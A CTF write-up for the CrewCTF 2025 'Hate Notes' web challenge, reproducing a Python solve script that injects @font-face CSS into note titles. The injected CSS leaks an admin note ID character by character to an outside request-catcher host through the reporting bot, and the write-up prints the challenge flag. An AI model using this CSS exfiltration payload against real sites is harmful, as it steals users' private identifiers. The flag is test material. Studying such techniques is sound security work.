Room / Challenge: Hate Notes (Web)


Metadata

  • Author: jameskaois
  • CTF: CrewCTF 2025
  • Challenge: Hate Notes (web)
  • Target / URL: https://hate-notes.chal.crewc.tf/
  • Difficulty: Medium
  • Points: 426
  • Tags: web, xss, sqli, auth, enumeration
  • Date: 21-09-2025

Goal

We have to get access to the flag crew{...} in the admin’s note which the bot can view.

My Solution

Love Notes and Hate Notes share 99% of their code, but Love Notes had many more solutions than Hate Notes: My Solution for Love Notes

You can download the source code of Hate Notes for further investigation: Source Code

Hate Notes blocks all XSS Scripting or any kind of Javascript works in all pages of their website included the /api/notes/<NOTE_ID> which we can take advantage of in the Love Notes.

There is other solution for this we will do CSS Exfiltration, in this challenge font exfiltration is widely used to solve. You can take a look at this solve.py from the author bubu of the challenge. Link

import json
import time
import random
import string
import requests

URL = "http://localhost:8000"

# Example:
#      f54dbf57-3317-4d6c-b903-bc56868fd728
EXFILTRATION = "https://player.requestcatcher.com/"
UID = ""

def register(user, password):
    r = requests.post(URL+'/api/auth/register', data={'email': user, 'password': password})


def login(user, password):
    r = requests.post(URL+'/api/auth/login', data={'email': user, 'password': password}, allow_redirects=False)
    return r.cookies["token"]


def first_payload(cookie):
    global UID
    payload = ""
    for letter in string.hexdigits[:16]:
        character = UID + letter
        payload += """
        @font-face {
          font-family: exfilFont"""+character+""";
          src: url(""" + EXFILTRATION +  """?id="""+character+""");
        }
        a[href^='/api/notes/""" + character + """'] {
          font-family: exfilFont"""+character+""";
        }
        """
    return json.loads(requests.post(URL+'/api/notes', cookies=cookie, data={'title':payload, 'content':' '}).text)["id"]

def second_payload(id, cookie):
    payload = f"""<link rel=stylesheet href="/static/api/notes/{id}"/>"""
    return json.loads(requests.post(URL+'/api/notes', cookies=cookie, data={'title':payload, 'content': ' '}).text)["id"]

def report(id, cookie):
    print(f"Reporting... {id}")
    r = requests.post(URL+'/report', cookies=cookie, data={'noteId': id})
    print(r.text)


USER = ''.join(random.choice(string.digits+string.ascii_letters) for _ in range(10))
PASSWORD = ''.join(random.choice(string.digits+string.ascii_letters) for _ in range(10))
print(f"USER {USER} -- PASSWORD {PASSWORD}")
register(USER, PASSWORD)
cookie = login(USER, PASSWORD)
while True:
    print(f"[X] UID: {UID}")
    id = first_payload({'token': cookie})
    id = second_payload(id, {'token': cookie})
    report(id, {'token': cookie})
    time.sleep(0.5)
    new_char = input("> ")
    UID += new_char
    if len(UID) in [8,13,18,23]:
        UID += '-'

In this method, we also use two note trick:

First note:

Title: @font-face (font exfiltration)

Second note:

Title: <link rel=stylesheet href="/static/api/notes/<FONT_EXFILTRATION_NOTE_ID>"/>

By this way, we can get the note id that contains the flag char by char. Then we can just simply type /dashboard?reviewNote=<DISCOVERED_NOTE_ID>.

You can get the flag crew{now_you_solved_it_in_the_right_way_fBi4WVX1kGzPtavs}.

Lessons Learned

  • CSS Exfiltration